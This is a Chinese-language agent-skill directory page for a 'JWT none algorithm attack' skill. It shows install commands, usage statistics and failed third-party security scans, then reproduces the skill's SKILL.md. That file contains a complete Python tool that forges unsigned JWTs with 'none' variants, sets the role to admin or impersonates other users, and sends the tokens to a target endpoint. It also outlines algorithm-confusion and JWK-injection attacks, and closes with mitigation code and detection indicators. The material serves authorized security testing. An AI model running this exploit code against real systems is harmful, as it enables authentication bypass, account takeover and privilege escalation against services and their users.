Token导航 LogoToken导航

Agent Skill · 开发

performing-jwt-none-algorithm-attack(performing JWT none algorithm attack 安全)

用于辅助安全审计、权限检查、凭据风险、认证流程和常见漏洞排查。它适合让 Agent 梳理敏感配置、检查依赖风险、分析鉴权逻辑或生成安全复核清单。使用时不能把工具输出直接当最终结论,涉及密钥、令牌、用户数据或生产系统时,应先确认最小权限、脱敏方式和操作边界。

performing-jwt-none-algorithm-attack 是开发类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为操作浏览器;许可证信息还不明确,第三方扫描有未通过项,按安装量在开发类的 21,746 个 Skill 里排第 17,004。

总安装 447周安装 19GitHub Stars 5,930下载 157核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:performing-jwt-none-algorithm-attack(performing JWT none algorithm attack 安全)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/performing-jwt-none-algorithm-attack
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-jwt-none-algorithm-attack
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-jwt-none-algorithm-attack

这个 Skill 是做什么的

开发类 Skill 面向写代码、改代码和排查问题,一般会读写仓库文件,部分还会执行构建或测试命令。

执行 JWT none algorithm 攻击,绕过签名验证机制。用于身份认证系统安全测试与协议缺陷验证。修改头部算法为 none,尝试伪造有效令牌。仅限授权测试,防止滥用导致账户接管或数据泄露。

performing-jwt-none-algorithm-attack 属于开发类 Skill,可作为该场景下的辅助能力补充。

来源仓库内路径:skills/performing-jwt-none-algorithm-attack

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skil…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要操作浏览器,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

performing-jwt-none-algorithm-attack 怎么安装?

在终端执行 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performi…。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

performing-jwt-none-algorithm-attack 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

performing-jwt-none-algorithm-attack 需要什么权限?

权限级别是操作浏览器。该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

performing-jwt-none-algorithm-attack 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

performing-jwt-none-algorithm-attack 用的人多吗?

公开数据是累计安装 447 次,近一周安装 19 次,下载 157 次,GitHub 5,930 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

performing-jwt-none-algorithm-attack 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 5,930 星,维护活跃度相对可查。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理开发类任务、又不想每次都手写提示词的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

开发类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
skill-vetter

技能审查员 · OpenClaw

8,779,018986操作浏览器MIT-0通过
ontology

本体论 · OpenClaw

6,636,960576只读MIT-0通过
entra-app-registration

内部应用程序注册 · Codex、Claude

6,631,872764接触敏感数据未明确通过
entra-app-registration

内部应用程序注册 · Codex、Claude

3,757,680201接触敏感数据未明确通过
nano-banana-pro

纳米香蕉专业版 · OpenClaw

3,526,898364接触敏感数据MIT-0有提醒
performing-jwt-none-algorithm-attack

performing JWT none algorithm attack 安全 · 本页

4475,930操作浏览器未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Performing JWT None Algorithm Attack

Overview

The JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the alg header set to none, effectively bypassing signature verification. When a server processes a JWT with "alg": "none", it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.

When to Use

  • When conducting security assessments that involve performing jwt none algorithm attack
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Target application using JWT for authentication or authorization
  • Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)
  • Python 3.8+ with PyJWT library for token crafting
  • Understanding of JWT structure (Header.Payload.Signature)
  • Authorization to perform security testing on the target
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

JWT Structure

A JWT consists of three Base64URL-encoded parts separated by dots:

Header.Payload.Signature

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature

Attack Methodology

Step 1: Capture a Valid JWT

Intercept a legitimate JWT from the target application using Burp Suite or browser developer tools:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Step 2: Decode and Analyze the Token

import base64
import json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

parts = token.split('.')

# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# Output: {'alg': 'HS256', 'typ': 'JWT'}

# Decode payload
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}

Step 3: Craft a Forged Token with None Algorithm

#!/usr/bin/env python3
"""JWT None Algorithm Attack Tool

Crafts JWT tokens with the 'none' algorithm to test for
signature verification bypass vulnerabilities.
"""

import base64
import json
import requests
import sys
from typing import Optional

class JWTNoneAttack:
    # All known variations of the 'none' algorithm value
    NONE_VARIANTS = [
        "none",
        "None",
        "NONE",
        "nOnE",
        "noNe",
        "NoNe",
        "nONE",
        "nonE",
    ]

    def __init__(self, target_url: str, original_token: str):
        self.target_url = target_url
        self.original_token = original_token
        self.original_header, self.original_payload = self._decode_token(original_token)

    def _base64url_encode(self, data: bytes) -> str:
        """Base64URL encode without padding."""
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')

    def _base64url_decode(self, data: str) -> bytes:
        """Base64URL decode with padding restoration."""
        padding = 4 - len(data) % 4
        if padding != 4:
            data += '=' * padding
        return base64.urlsafe_b64decode(data)

    def _decode_token(self, token: str) -> tuple:
        """Decode JWT header and payload."""
        parts = token.split('.')
        header = json.loads(self._base64url_decode(parts[0]))
        payload = json.loads(self._base64url_decode(parts[1]))
        return header, payload

    def craft_none_token(self, modified_payload: dict,
                          alg_variant: str = "none") -> str:
        """Craft a JWT with the none algorithm and modified payload."""
        # Create header with none algorithm
        header = {"alg": alg_variant, "typ": "JWT"}
        header_encoded = self._base64url_encode(json.dumps(header).encode())

        # Encode modified payload
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Token with empty signature (just trailing dot)
        return f"{header_encoded}.{payload_encoded}."

    def craft_privilege_escalation(self, role_field: str = "role",
                                     admin_value: str = "admin") -> list:
        """Create tokens with escalated privileges using all none variants."""
        tokens = []
        modified_payload = dict(self.original_payload)
        modified_payload[role_field] = admin_value

        for variant in self.NONE_VARIANTS:
            token = self.craft_none_token(modified_payload, variant)
            tokens.append({"variant": variant, "token": token})

        return tokens

    def craft_user_impersonation(self, target_user_id: str,
                                   user_field: str = "sub") -> str:
        """Create a token impersonating another user."""
        modified_payload = dict(self.original_payload)
        modified_payload[user_field] = target_user_id
        return self.craft_none_token(modified_payload)

    def test_none_variants(self, endpoint: str = "/api/profile",
                            headers: Optional[dict] = None) -> list:
        """Test all none algorithm variants against the target."""
        results = []
        base_headers = headers or {}

        for variant in self.NONE_VARIANTS:
            modified_payload = dict(self.original_payload)
            modified_payload["role"] = "admin"
            token = self.craft_none_token(modified_payload, variant)

            test_headers = dict(base_headers)
            test_headers["Authorization"] = f"Bearer {token}"

            try:
                response = requests.get(
                    f"{self.target_url}{endpoint}",
                    headers=test_headers,
                    timeout=10
                )
                result = {
                    "variant": variant,
                    "status_code": response.status_code,
                    "accepted": response.status_code == 200,
                    "response_length": len(response.content),
                }
                results.append(result)

                if response.status_code == 200:
                    print(f"  [VULNERABLE] alg='{variant}' -> {response.status_code}")
                else:
                    print(f"  [SAFE] alg='{variant}' -> {response.status_code}")

            except requests.exceptions.RequestException as e:
                results.append({
                    "variant": variant,
                    "status_code": 0,
                    "accepted": False,
                    "error": str(e)
                })

        return results

    def test_empty_signature_variants(self) -> list:
        """Test different empty signature formats."""
        modified_payload = dict(self.original_payload)
        modified_payload["role"] = "admin"
        header = {"alg": "none", "typ": "JWT"}

        header_encoded = self._base64url_encode(json.dumps(header).encode())
        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())

        # Different signature formats
        variants = [
            f"{header_encoded}.{payload_encoded}.",      # Empty signature with trailing dot
            f"{header_encoded}.{payload_encoded}",       # No trailing dot
            f"{header_encoded}.{payload_encoded}.AA==",  # Minimal base64 signature
        ]

        results = []
        for token in variants:
            results.append({"token_format": token[-20:], "token": token})

        return results

def main():
    if len(sys.argv) < 3:
        print("Usage: python jwt_none_attack.py <target_url> <original_token>")
        print("Example: python jwt_none_attack.py https://api.example.com eyJhbG...")
        sys.exit(1)

    target_url = sys.argv[1]
    original_token = sys.argv[2]

    attacker = JWTNoneAttack(target_url, original_token)

    print(f"\nOriginal Token Header: {attacker.original_header}")
    print(f"Original Token Payload: {attacker.original_payload}")

    print(f"\n{'='*60}")
    print("Testing None Algorithm Variants")
    print(f"{'='*60}")
    results = attacker.test_none_variants()

    vulnerable = [r for r in results if r.get("accepted")]
    if vulnerable:
        print(f"\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!")
        print("[!] The server does not properly validate JWT signatures")
    else:
        print(f"\n[+] SECURE: All none algorithm variants were rejected")

if __name__ == "__main__":
    main()

Step 4: Additional JWT Attack Variants

Algorithm Confusion (RS256 to HS256): If the server uses RS256 (asymmetric), an attacker who knows the public key can:

  1. Change alg to HS256
  2. Sign the token using the public key as the HMAC secret
  3. The server may verify the signature using its public key as an HMAC key

JWK Header Injection (CVE-2018-0114):

{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "n": "<attacker-controlled-key>",
    "e": "AQAB"
  }
}

Mitigation Strategies

# Secure JWT verification - always specify allowed algorithms
import jwt

def verify_token_secure(token: str, secret_key: str) -> dict:
    """Verify JWT with explicit algorithm allowlist."""
    try:
        payload = jwt.decode(
            token,
            secret_key,
            algorithms=["HS256"],  # CRITICAL: Explicit allowlist
            options={
                "require": ["exp", "iat", "sub"],  # Required claims
                "verify_exp": True,
                "verify_iat": True,
            }
        )
        return payload
    except jwt.InvalidAlgorithmError:
        raise ValueError("Invalid token algorithm")
    except jwt.ExpiredSignatureError:
        raise ValueError("Token expired")
    except jwt.InvalidTokenError:
        raise ValueError("Invalid token")

Detection Indicators

  • JWT tokens with "alg": "none" (or case variations) in server logs
  • Tokens with empty or missing signature segments
  • Sudden change in algorithm field from normal patterns
  • Tokens with modified claims (role escalation) from the same session
  • Authorization header containing tokens with only two Base64 segments

References

平台分布

Codex

36.55%
按下载量换算57

Claude

29.76%
按下载量换算47

Cursor

19%
按下载量换算30

Gemini CLI

8.76%
按下载量换算14

安全审计

Gen Agent Trust Hub

通过

Socket

可疑

Snyk

未通过

权限和风险

操作浏览器

该 Skill 可能涉及浏览器控制能力,使用时可能读取或操作网页内容,需要在受控环境中确认权限边界。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills